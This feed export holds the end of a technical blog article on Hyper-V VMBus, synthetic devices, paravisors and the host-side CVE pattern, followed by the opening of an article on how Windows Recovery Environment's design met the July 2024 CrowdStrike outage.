&lt;li&gt;&lt;strong&gt;Live migration.&lt;/strong&gt; Because the data plane is software in the root partition, the VM is not bound to a specific host. The VSPs serialise their state during migration without guest cooperation. This is the property that makes VMBus the durable invariant under hardware-passthrough acceleration: SR-IOV gives you throughput; VMBus gives you mobility.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What it pays for those properties&lt;/h3&gt;
&lt;p&gt;Two costs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The host CPU is on the data plane.&lt;/strong&gt; A software ring serviced by &lt;code&gt;vmswitch.sys&lt;/code&gt; cannot match a 100 GbE NIC&apos;s line rate per host CPU core. Microsoft&apos;s answer is hybrid composition with SR-IOV (Accelerated Networking [@ms-accelerated-networking]) and SmartNIC offload (Azure Boost + MANA [@ms-azure-boost]). The KVM analogue is vDPA [@redhat-vdpa]. Both of these accept the structural truth that for the highest throughputs, the host CPU has to leave the data plane.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The host kernel parses guest-controlled bytes.&lt;/strong&gt; Section 7&apos;s CVE record is the catalogue of what that costs. The architectural answer is OpenHCL: move the parser into the guest&apos;s own trust boundary and rewrite it in Rust.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;A four-property idealisation&lt;/h3&gt;
&lt;p&gt;It is useful to write down what an idealised paravirt I/O stack would do, so it is clear which properties any real stack today is trading away.&lt;/p&gt;
&lt;p&gt;The four idealised properties:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Zero hypercalls per packet&lt;/strong&gt; in steady state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Live-migration parity&lt;/strong&gt; with a software baseline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-vendor / cross-hypervisor portability&lt;/strong&gt; of the guest driver.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No host-side memory-unsafe parser&lt;/strong&gt; of guest-controlled data.&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;(1) Zero hypercall&lt;/th&gt;
&lt;th&gt;(2) Live migration&lt;/th&gt;
&lt;th&gt;(3) Portability&lt;/th&gt;
&lt;th&gt;(4) No unsafe host parser&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;VMBus + in-kernel VSP&lt;/td&gt;
&lt;td&gt;partial (batched)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;virtio + vhost-net&lt;/td&gt;
&lt;td&gt;partial (batched)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SR-IOV / DDA&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accelerated Networking (VMBus + SR-IOV)&lt;/td&gt;
&lt;td&gt;yes (steady)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vDPA&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenHCL paravisor + VMBus&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Boost + MANA&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;No single approach today matches all four properties. The Hyper-V production composition is roughly &lt;strong&gt;(VMBus baseline) + (Accelerated Networking for throughput) + (OpenHCL for confidential workloads)&lt;/strong&gt;. The KVM-world composition is &lt;strong&gt;(virtio baseline) + (vDPA / SmartNIC for throughput)&lt;/strong&gt;. SmartNIC-based stacks (Azure Boost, AWS Nitro, Google&apos;s offload) approach the same four-corner problem from yet another angle.&lt;/p&gt;
&lt;p&gt;This is a synthesis, not a single-source claim: the matrix combines properties documented separately in the Microsoft Accelerated Networking docs [@ms-accelerated-networking], the Linux kernel CoCo doc [@kernel-coco], the Discrete Device Assignment doc [@ms-dda], the SR-IOV overview [@ms-sriov-overview], the Linux netvsc driver doc [@kernel-netvsc], the VDUSE userspace interface [@kernel-vduse], the vPCI doc [@kernel-vpci], and the OpenHCL explainer [@ms-openhcl-deep-explainer]. Each individual cell is sourced; the ranking is the author&apos;s reading of those sources.&lt;/p&gt;
&lt;h3&gt;Practical pitfalls for operators&lt;/h3&gt;
&lt;p&gt;A few things the customer-facing docs do not always say plainly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vmbusrhid&lt;/code&gt; is not low-risk.&lt;/strong&gt; The keyboard/mouse channel is a kernel-level RPC surface from guest to root. Treat it the same way you would treat netvsc when modelling threat exposure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Generation-2 VMs reduce attack surface.&lt;/strong&gt; Choosing Generation-2 for new workloads removes the legacy IDE/PS/2/PIC emulators from the host data path entirely (Microsoft Learn: Gen 1 vs Gen 2 [@ms-gen1-gen2-vms]).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mixing in-box and out-of-band Integration Services breaks things.&lt;/strong&gt; Modern Windows and modern Linux already have the drivers; installing the legacy LIS package on top can break MSI-X handling and PCI passthrough (Linux kernel: overview [@kernel-hyperv-overview]).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DDA is not SR-IOV.&lt;/strong&gt; Discrete Device Assignment covers any PCIe device passthrough, but Microsoft formally supports only &lt;strong&gt;GPUs and NVMe&lt;/strong&gt; as device classes (Microsoft Learn: DDA planning [@ms-dda]).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidential VMs do not have the same device set.&lt;/strong&gt; Hardware constraints reduce or alter the device classes available; always validate the specific synthetic devices your workload depends on are present in the target SKU (Linux kernel: CoCo [@kernel-coco]).&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; 1. Confidential VM (SEV-SNP / TDX)? Use the OpenHCL paravisor mode (Azure CoCo VM options [@ms-coco-vm-options]). 2. Need ≥40 Gbps with live migration? Use Accelerated Networking; on Boost-enabled SKUs, Boost adds another tier of offload. 3. Need ≥100 Gbps and accept binding to host? Use Discrete Device Assignment / SR-IOV. 4. Maximum guest portability across hypervisors? Use virtio; for bandwidth-sensitive workloads, vDPA. 5. Default Hyper-V workload, broad device coverage, native migration? VMBus + VSP (the default).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Open problems worth watching&lt;/h3&gt;
&lt;p&gt;The substantive open problems are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A standardised paravisor feature-enumeration interface.&lt;/strong&gt; OpenHCL is the first auditable paravisor, but there is no portable contract a guest can use to query &quot;what does this paravisor support.&quot; The TLFS gave us this for hypervisors; the paravisor analogue is missing (Linux kernel: CoCo [@kernel-coco]).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidential-VM-friendly live migration with paravirt devices.&lt;/strong&gt; Hardware-attested state cannot be cloned trivially; today&apos;s pragmatic answer is to constrain migration in CoCo VMs. A general solution is open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A formal model of the VMBus offer/rescind state machine.&lt;/strong&gt; The kernel docs describe it narratively. A model that the VSP code could be checked against would let static analysis rule out the bug class behind the headline CVEs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Live-migrating stateful SR-IOV VFs without device cooperation.&lt;/strong&gt; Vendor proposals exist; an industry standard does not.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Erasing memory-unsafety in legacy VSPs.&lt;/strong&gt; The Rust rewrite path in OpenVMM is correct; the multi-year engineering effort to convert every existing VSP is real. CVE-2024-21407 is recent enough to remind everyone the bug class is still producing fresh entries.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What to remember in five years&lt;/h3&gt;
&lt;p&gt;The most important sentence in this article is one I have been quietly preparing throughout: the durable architectural invariant in Hyper-V is &lt;strong&gt;shared-memory ring + doorbell, with a published guest-side contract&lt;/strong&gt;. Everything else, including the choice of programming language for the VSP, the question of whether the data plane is software or hardware, and even whether the trust boundary places the VSP on the host or in a paravisor, is implementation. The transport is the invariant. That is the lesson the next decade of CoCo VMs and SmartNIC offload is converging toward: keep the contract stable, and let everything else change.&lt;/p&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;

No. The drivers (`hv_vmbus`, `hv_netvsc`, `hv_storvsc`, `hv_utils`, `pci-hyperv`, `hv_balloon`) have been in the upstream Linux kernel since 2.6.32 in December 2009 and ship in every mainstream distribution. The legacy LIS package is a holdover from the era before in-tree support and can in fact break MSI-X handling and PCI passthrough if installed on top of a modern kernel (Linux kernel: Hyper-V overview [@kernel-hyperv-overview]).

Because the trust gradient is asymmetric. The VSP runs in the root partition&apos;s kernel, the most privileged context on the box; the VSC runs in a normal guest kernel. Bytes flowing from guest to host get parsed by code with full system privilege. A VSC bug typically harms only the guest; a VSP bug can be a cross-tenant compromise. The pattern is visible in the CVE record: CVE-2017-0075 [@nvd-cve-2017-0075], CVE-2021-28476 [@nvd-cve-2021-28476], and CVE-2024-21407 [@nvd-cve-2024-21407] all hit host-side parsers.

For live migration. SR-IOV gives you near-bare-metal throughput but binds the VM to a specific physical NIC; you cannot migrate that state. Keeping a VMBus-backed `netvsc` device in the same guest gives the hypervisor a software path it can fall back to during migration windows. The Linux kernel netvsc doc describes this failover explicitly: when SR-IOV is enabled, the VF is enslaved by netvsc and the data path switches transparently when the VF is up (Linux kernel: netvsc [@kernel-netvsc]).

OpenHCL is a *configuration* of OpenVMM, not a separate codebase. OpenVMM is the Rust virtualization stack at github.com/microsoft/openvmm [@github-openvmm]; OpenHCL is OpenVMM run as a paravisor inside a confidential VM&apos;s higher-trust virtual trust level (VTL2), so that the synthetic-device backends sit inside the guest&apos;s own trust boundary rather than on a host the guest cannot trust. The same Rust code can run as a host-side VMM (when paired with a hypervisor on the host) or as an in-guest paravisor (when running inside a SEV-SNP or TDX VM).

Both directions exist with caveats. OpenVMM, when used as a host VMM, supports both VMBus and virtio backends, so a Linux virtio guest can run on a Microsoft-developed VMM (github.com/microsoft/openvmm [@github-openvmm]). Native Hyper-V on a Windows Server host historically expects VMBus-driven guests; there is no in-box virtio device emulation on a stock Hyper-V Server. KVM hosts can technically present a VMBus-shaped device, but in practice the production answer on KVM is virtio.

Generation-2 VMs use UEFI with Secure Boot, boot from synthetic SCSI, and have no emulated IDE, PS/2, or PIC in the data path (Microsoft Learn: Gen 1 vs Gen 2 [@ms-gen1-gen2-vms]). Every emulator that is removed is one fewer parser running in the most privileged kernel on the host, so the host-side attack surface is meaningfully smaller. Generation-1 still exists for legacy guests that only know how to boot from BIOS + IDE.

VBS uses the Hyper-V hypervisor to split a single Windows install into VTL0 (the normal kernel and apps) and VTL1 (the Secure Kernel and trustlets like `lsaiso.exe`). The hypervisor enforces that VTL0 cannot read or modify VTL1&apos;s memory, even with kernel privileges. So an attacker who already has SYSTEM-level code execution in the normal world cannot trivially extract LSASS secrets or load arbitrary unsigned kernel code; the hypervisor stops them. This works on any modern Windows machine with the right CPU features, regardless of whether you ever run a VM yourself (Microsoft Learn: Windows Server 2016 What&apos;s New [@ms-server-2016]).
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;hyper-v-enlightenments-vmbus-and-the-synthetic-device-model&quot; keyTerms={[
  { term: &quot;Type-1 hypervisor&quot;, definition: &quot;A hypervisor that runs directly on hardware rather than inside a host OS. Hyper-V is Type-1; the original Microsoft Virtual Server was Type-2.&quot; },
  { term: &quot;Root partition&quot;, definition: &quot;The privileged partition under Hyper-V that owns physical I/O devices and hosts the synthetic-device VSPs. Runs Windows Server.&quot; },
  { term: &quot;Child partition&quot;, definition: &quot;An unprivileged partition that hosts a guest OS. Communicates with the root partition over VMBus.&quot; },
  { term: &quot;Enlightenment&quot;, definition: &quot;A guest-OS modification or feature that takes advantage of running under a specific hypervisor by using paravirtual interfaces (hypercalls, synthetic timers, SINTs) instead of trapping on emulated hardware.&quot; },
  { term: &quot;Top-Level Functional Specification (TLFS)&quot;, definition: &quot;Microsoft&apos;s published hypervisor ABI for Hyper-V, governing hypercalls, synthetic MSRs, synthetic interrupts, synthetic timers, and the VMBus protocol. Released under the Open Specification Promise.&quot; },
  { term: &quot;VMBus&quot;, definition: &quot;Hyper-V&apos;s software-only inter-partition transport. Has a control path (channel offer/open/close/rescind) and per-device shared-memory ring channels with SINT-based doorbells.&quot; },
  { term: &quot;VSP / VSC&quot;, definition: &quot;Virtualization Service Provider (root-partition kernel module that owns a synthetic-device backend) and Virtualization Service Client (guest-side driver that consumes the channel).&quot; },
  { term: &quot;Synthetic Interrupt Controller (SynIC)&quot;, definition: &quot;Per-vCPU synthetic interrupt subsystem with 16 SINT slots and shared message/event pages; the doorbell mechanism for VMBus and synthetic timers.&quot; },
  { term: &quot;Reference TSC page&quot;, definition: &quot;A guest-readable page maintained by Hyper-V containing scale and offset such that the guest can compute a 10 MHz monotonic clock from the hardware TSC entirely in user space.&quot; },
  { term: &quot;Generation-2 VM&quot;, definition: &quot;A Hyper-V VM that boots UEFI with Secure Boot from synthetic SCSI, with no emulated IDE/PS/2/PIC. Reduces host-side attack surface and supports VHDX up to 64 TB.&quot; },
  { term: &quot;Discrete Device Assignment (DDA)&quot;, definition: &quot;Hyper-V&apos;s general PCIe-passthrough mechanism. Microsoft formally supports GPUs and NVMe; other devices may work with vendor support.&quot; },
  { term: &quot;Accelerated Networking&quot;, definition: &quot;An Azure/Hyper-V feature that attaches both a synthetic NIC (netvsc over VMBus) and an SR-IOV virtual function to a guest, with netvsc as the live-migration fallback path.&quot; },
  { term: &quot;VBS / HVCI / VTL&quot;, definition: &quot;Virtualization-Based Security uses the Hyper-V hypervisor to split a single guest into Virtual Trust Levels (VTL0 normal, VTL1 secure). HVCI (Hypervisor-protected Code Integrity) and trustlets like lsaiso.exe live in VTL1.&quot; },
  { term: &quot;Paravisor&quot;, definition: &quot;A higher-trust software layer running inside a confidential VM (typically in VTL2) that mediates between the workload and the untrusted host hypervisor; presents the workload with a familiar VMBus + VSP world.&quot; },
  { term: &quot;OpenVMM / OpenHCL&quot;, definition: &quot;Microsoft&apos;s 2024 open-source Rust virtualization stack and its paravisor configuration. Re-implements the VSPs in memory-safe Rust to address the bug class behind CVE-2017-0075, CVE-2021-28476, and CVE-2024-21407.&quot; }
]} questions={[
  { q: &quot;Why does Microsoft maintain the Top-Level Functional Specification under the Open Specification Promise rather than as an internal document?&quot;, a: &quot;Because the OSP is what makes it legally and practically safe for the Linux community to ship in-tree drivers (drivers/hv/) implementing the hypervisor&apos;s guest-side ABI. Without the published, OSP-protected spec, Linux could only support Hyper-V via reverse-engineering, which would not have been politically or technically acceptable upstream. The OSP is the contractual artefact that turned &apos;Hyper-V can host Linux&apos; from a vendor claim into a maintained, in-tree reality.&quot; },
  { q: &quot;Walk through the lifecycle of a single network packet from a Hyper-V guest&apos;s userspace to the wire.&quot;, a: &quot;(1) The guest application calls send(); (2) the guest TCP/IP stack hands a packet to the hv_netvsc driver; (3) hv_netvsc allocates a slot in the netvsc TX VMBus ring, copies the descriptor and payload, and writes the new write index; (4) if the host is not already chasing the writes, the guest issues a HV_SIGNAL_EVENT hypercall (one VMEXIT) to fire the SINT for that channel; (5) the host&apos;s vmswitch.sys VSP reaps the descriptor from the ring, parses the RNDIS frame, and forwards it to the virtual switch; (6) the virtual switch dispatches it to a real NIC. In the steady state, a single VMEXIT can amortise across many packets through batching.&quot; },
  { q: &quot;Explain why the host-side VSP is the historical CVE locus for Hyper-V escapes.&quot;, a: &quot;Because the VSP runs in the root partition&apos;s kernel (the most privileged context on the box) and parses guest-controlled bytes from the VMBus ring. Any memory-safety mistake (length confusion, missing bounds check, integer overflow) in C/C++ kernel code translates directly to code execution in the most privileged supervisor on the host. CVE-2017-0075, CVE-2021-28476 (vmswitch.sys), and CVE-2024-21407 all instantiate this pattern. The attack surface is structural, not incidental.&quot; },
  { q: &quot;What does an enlightened Linux guest do when it first boots on Hyper-V, before any network or storage I/O happens?&quot;, a: &quot;It executes cpuid leaf 0x40000000 to detect the Microsoft hypervisor signature; reads further leaves to enumerate available enlightenments; writes HV_X64_MSR_GUEST_OS_ID to declare itself; writes HV_X64_MSR_HYPERCALL with a guest-physical address and an enable bit, prompting the hypervisor to populate that page with the right vmcall/vmmcall opcode; sets up SINT slots and a per-CPU SynIC message page; optionally reads the reference TSC page; loads the hv_vmbus driver, which begins receiving channel offers from the root partition; and binds class-specific drivers (hv_netvsc, hv_storvsc, etc.) to each offered channel.&quot; },
  { q: &quot;Why is OpenHCL described as a paravisor rather than a hypervisor or a VMM?&quot;, a: &quot;Because it sits inside a guest VM (in VTL2 of that VM), not on the host, and its job is to mediate between the guest workload and a hypervisor that the guest does not trust. A hypervisor on the host runs underneath all VMs; a VMM owns and controls VMs from outside; a paravisor lives inside one VM, at higher privilege than that VM&apos;s workload, and presents the workload with a familiar device-model surface (VMBus + VSPs) that is now backed by code inside the guest&apos;s own trust boundary rather than by the host kernel. The architecture inverts the historical Hyper-V trust model so that confidential VMs can be protected from a malicious host.&quot; },
  { q: &quot;Compare VMBus&apos;s ring-buffer transport to virtio&apos;s virtqueues. What is the same and what is different?&quot;, a: &quot;Same: shared-memory rings carrying descriptors and payload; doorbell-based signalling so per-message hypercall cost amortises across batches; per-device-class protocols layered on a common transport. Different: VMBus uses a software-only &apos;bus&apos; with offer/open/close/rescind control, while virtio rides on a real PCI/MMIO/channel-I/O transport with a generic capability-bit mechanism. VMBus&apos;s reverse signal is a SINT; virtio&apos;s is MSI-X. VMBus is Microsoft-owned under the OSP; virtio is OASIS-ratified and multi-vendor. VMBus has in-box Windows drivers and broader synthetic-service coverage (KVP, time sync, VSS); virtio has cross-hypervisor portability and a multi-vendor implementation pool.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>hyper-v</category><category>virtualization</category><category>vmbus</category><category>paravirtualization</category><category>azure</category><category>confidential-computing</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>The Day 8.5 Million Devices Couldn&apos;t Boot -- and How Microsoft Rebuilt Recovery as a Security Surface</title><link>https://paragmali.com/blog/the-day-85-million-devices-couldnt-boot----and-how-microsoft/</link><guid isPermaLink="true">https://paragmali.com/blog/the-day-85-million-devices-couldnt-boot----and-how-microsoft/</guid><description>The Windows Recovery Environment worked perfectly on July 19, 2024. That was the problem. How WinRE, Quick Machine Recovery, and the Windows Resiliency Initiative re-priced fleet-scale recovery.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>
**On July 19, 2024, the Windows Recovery Environment worked exactly as designed -- and that was the problem.** WinRE assumed a human operator per machine, and CrowdStrike&apos;s Channel File 291 priced that assumption at 8.5 million endpoints. The Windows Resiliency Initiative -- Quick Machine Recovery, MVI 3.0, the user-mode endpoint security platform, Intune-surfaced WinRE state, Point-in-Time Restore, and Cloud Rebuild -- is Microsoft&apos;s first systemic admission that the recovery path is part of the security architecture. This article maps the architecture, the program, and the trade-off it cannot remove.
&lt;h2&gt;1. A Fleet That Cannot Boot Itself&lt;/h2&gt;
&lt;p&gt;At 04:09 UTC on July 19, 2024, CrowdStrike pushed a new Channel File 291 to its Falcon sensor on Windows. Forty-eight minutes later -- 04:57 UTC, give or take an hour depending on which time zone the failing devices happened to wake into -- the calls began. By the time CrowdStrike reverted the file at 05:27 UTC, roughly 8.5 million Windows endpoints were stuck in a bug-check loop on &lt;code&gt;csagent+0xe14ed&lt;/code&gt;: a read-out-of-bounds page fault inside a kernel-mode driver registered as &lt;code&gt;SERVICE_SYSTEM_START&lt;/code&gt; (&lt;code&gt;Start=1&lt;/code&gt;), so it reloaded on every reboot [@crowdstrike-tech-details, @ms-security-jul27, @ms-crowdstrike-jul20].&lt;/p&gt;
&lt;p&gt;The fix was published almost immediately. &quot;Boot to Safe Mode,&quot; it said. &quot;Delete &lt;code&gt;C-00000291*.sys&lt;/code&gt;. Reboot.&quot; If the volume was &lt;a href=&quot;https://paragmali.com/blog/bitlocker-on-windows-architecture-attacks-and-the-limits-of-/&quot; rel=&quot;noopener&quot;&gt;BitLocker&lt;/a&gt;-encrypted, find the recovery key first [@ms-kb5042421]. The instruction was technically correct. It was also a procedure for one machine. The Windows Recovery Environment that the procedure depended on -- WinRE -- worked exactly as it was designed to work, on every one of those 8.5 million devices [@ms-crowdstrike-jul20]. That was the problem.&lt;/p&gt;
&lt;p&gt;Think about the engineering. The recovery partition was where it should be. The Boot Configuration Data store pointed at the right &lt;code&gt;winre.wim&lt;/code&gt;. The two-failed-boots trigger fired. The blue Safe Mode tile rendered. The keyboard input handler took keystrokes. The NTFS read-write driver inside WinRE deleted the bad channel file. The reboot succeeded. Every line of code in the recovery path behaved exactly as the engineers in Redmond had specified. The architecture did not break.&lt;/p&gt;
&lt;p&gt;What broke was the architecture&apos;s central assumption: that a person would be sitting in front of the screen.&lt;/p&gt;
&lt;p&gt;The assumption was a security choice as much as a usability choice, and that the cost of that choice was a denial-of-service event measured not in seconds of downtime but in person-days of triage. What follows: the WinRE architecture as it actually exists on every Windows 11 device today, the lineage that produced that architecture, the failure mode that priced the architecture&apos;s blind spot, and the Windows Resiliency Initiative that Microsoft began assembling in the months after the incident.&lt;/p&gt;
&lt;p&gt;A second thesis follows from the first. &lt;em&gt;Recoverability is a security property.&lt;/em&gt; A platform that cannot recover at scale cannot guarantee availability; a platform that cannot guarantee availability cannot keep its confidentiality and integrity promises either, because operations teams in the middle of a fleet-down event will eventually pull every encryption layer and every signing check that gets in their way. The two halves of the CIA triad we usually study -- confidentiality and integrity -- have spent decades crowding out the third. CrowdStrike forced the third one back onto the page.&lt;/p&gt;
&lt;p&gt;If WinRE worked perfectly on July 19, 2024, what does it actually do? And how did a recovery primitive end up being the architecture&apos;s single point of human dependence? Those questions are next.&lt;/p&gt;
&lt;h2&gt;2. The Architecture: WinRE, &lt;code&gt;winre.wim&lt;/code&gt;, &lt;code&gt;boot.sdi&lt;/code&gt;, ReAgentC&lt;/h2&gt;
&lt;p&gt;Before we explain how WinRE failed at scale, we have to be precise about what WinRE &lt;em&gt;is&lt;/em&gt;. Most engineers know it as the screen that appears after two bad boots. That description is correct and unhelpful. WinRE is a Windows Preinstallation Environment image -- &lt;code&gt;winre.wim&lt;/code&gt; -- backed by a system deployment image ramdisk and managed by &lt;code&gt;ReAgentC.exe&lt;/code&gt;, registered with the Windows Boot Manager via an entry in the Boot Configuration Data store [@ms-winre-tech-ref, @ms-reagentc, @ms-bcd]. Each of those four moving pieces does one job; together they make the recovery surface possible.&lt;/p&gt;

A small, self-contained Windows operating system used to install, deploy, and repair Windows desktop editions and Windows Server [@ms-winpe-intro]. WinPE is the substrate of Windows Setup, the install media&apos;s `boot.wim`, and `winre.wim`. The base image requires 512 MB of RAM and automatically reboots after 240 hours of continuous use on Windows 10 1803 and later [@ms-winpe-intro]. Originally released to manufacturing in 2002 by a Microsoft team that included Vijay Jayaseelan, Ryan Burkhardt, and Richard Bond [@wiki-winpe].

A small image-format file that the Windows Boot Manager uses to allocate a RAM disk into which a WIM image can be mounted at boot time. The WinRE BCD entry references `boot.sdi` through a `ramdiskoptions` element; the `osdevice` element then names `winre.wim` as the image to mount inside that RAM disk [@ms-bcd, @ms-winre-tech-ref].

The binary database that replaced `boot.ini` in Windows Vista. The BCD lives on the EFI System Partition on UEFI machines and is the data structure the boot manager reads to decide what to boot. Each entry is a typed collection of *elements* -- `device`, `osdevice`, `path`, `winpe`, `ramdiskoptions`, `recoverysequence`, and others -- manipulated with `bcdedit.exe` [@ms-bcd].

A dedicated GPT partition holding `winre.wim`, identified by partition Type ID `DE94BBA4-06D1-4D40-A16A-BFD50179D6AC` and recommended for placement immediately after the Windows partition. The minimum size is 300 MB, with 250 MB of free space recommended to accommodate future updates [@ms-uefi-gpt]. On Image Configuration Designer media, this partition is the default layout; clean Setup may instead use a `\Recovery\WindowsRE` folder inside the Windows partition [@ms-winre-tech-ref].
&lt;p&gt;Restated in the order a practitioner encounters them on disk, the four pieces are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The recovery partition.&lt;/strong&gt; The default UEFI/GPT layout from the Image Configuration Designer places a Windows RE Tools partition after the Windows partition, sized to hold &lt;code&gt;winre.wim&lt;/code&gt; with headroom for cumulative-update growth [@ms-uefi-gpt]. The GPT Type ID &lt;code&gt;DE94BBA4-06D1-4D40-A16A-BFD50179D6AC&lt;/code&gt; lets &lt;code&gt;bootmgr&lt;/code&gt; find the partition without depending on the Windows volume&apos;s drive letter. A &lt;code&gt;\Recovery\WindowsRE&lt;/code&gt; folder inside the OS volume is an equally valid alternative; some OEMs use one, some the other.The variability is invisible at runtime: &lt;code&gt;bootmgr&lt;/code&gt; follows the BCD, not the disk layout. But it matters at provisioning time. Always check &lt;code&gt;reagentc /info&lt;/code&gt; after deployment to know which arrangement you have, because the &lt;em&gt;Microsoft-recommended fix for &quot;winre.wim is too small after a cumulative update&quot;&lt;/em&gt; (KB5028997) depends on which partition the image lives in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;winre.wim&lt;/code&gt;.&lt;/strong&gt; A customised WinPE image. The lineage goes back to Windows PE 1.0, RTMed in 2002 from Windows XP RTM [@wiki-winpe]. Today&apos;s &lt;code&gt;winre.wim&lt;/code&gt; is built from Windows 10 / 11&apos;s WinPE 10 line and includes the recovery shell, Startup Repair, System Restore (when enabled on the host), command prompt, and a curated list of optional drivers. The base image still inherits the WinPE rules: 512 MB minimum RAM, 240-hour reboot cap on Windows 10 1803+ [@ms-winpe-intro].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;boot.sdi&lt;/code&gt;.&lt;/strong&gt; Sits on the recovery partition (or in &lt;code&gt;\Recovery\WindowsRE\&lt;/code&gt;) and acts as a fixed-size container into which the boot manager creates a RAM disk at boot time [@ms-bcd].The &lt;code&gt;.sdi&lt;/code&gt; extension stands for *System Deployment Image*, the same file format used by older Windows Deployment Services workflows in which a thin ramdisk holds a &lt;code&gt;boot.wim&lt;/code&gt; for PXE installs. The RAM disk is where &lt;code&gt;winre.wim&lt;/code&gt; is mounted. &lt;code&gt;boot.sdi&lt;/code&gt; is small (a few megabytes), unmodifiable in normal operation, and one of the parsers later abused by the BitUnlocker chain [@ms-bitunlocker-blog]; we return to that in Section 9.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;ReAgentC.exe&lt;/code&gt;.&lt;/strong&gt; The in-box management tool. Microsoft Learn documents the supported switches: &lt;code&gt;/info&lt;/code&gt;, &lt;code&gt;/enable&lt;/code&gt;, &lt;code&gt;/disable&lt;/code&gt;, &lt;code&gt;/setreimage /Path &amp;lt;Folder&amp;gt;&lt;/code&gt;, &lt;code&gt;/boottore&lt;/code&gt;, &lt;code&gt;/setbootshelllink&lt;/code&gt;, and the now-deprecated &lt;code&gt;/setosimage&lt;/code&gt; (no longer used on Windows 10 or later) [@ms-reagentc]. The same page notes that for &lt;em&gt;offline&lt;/em&gt; operations on WinPE 2.x/3.x/4.x images, administrators must instead use &lt;code&gt;Winrecfg.exe&lt;/code&gt; from the Windows Assessment and Deployment Kit -- a clue that the &lt;em&gt;online&lt;/em&gt; mode of &lt;code&gt;ReAgentC.exe&lt;/code&gt; predated the offline mode. The tool has shipped since at least Windows 7; the precise RTM month is not surfaced on Microsoft Learn today.The web is full of confident claims that &lt;code&gt;ReAgentC.exe&lt;/code&gt; first shipped in Vista, Windows 7, or Windows 8. The safe attribution is &quot;Windows 7 onwards&quot; because that is the era when the recovery-partition + ReAgentC model became the supported default. Microsoft Learn does not name an exact ship version, and the AI summaries that do are inferring from circumstantial evidence [@ms-reagentc].&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All four pieces have to cooperate at the worst possible moment: when the Windows partition refuses to boot. The question for the next section is the literal handoff. How does the firmware end up running &lt;code&gt;winre.wim&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;3. The Mechanism: How a WinRE Boot Actually Happens&lt;/h2&gt;
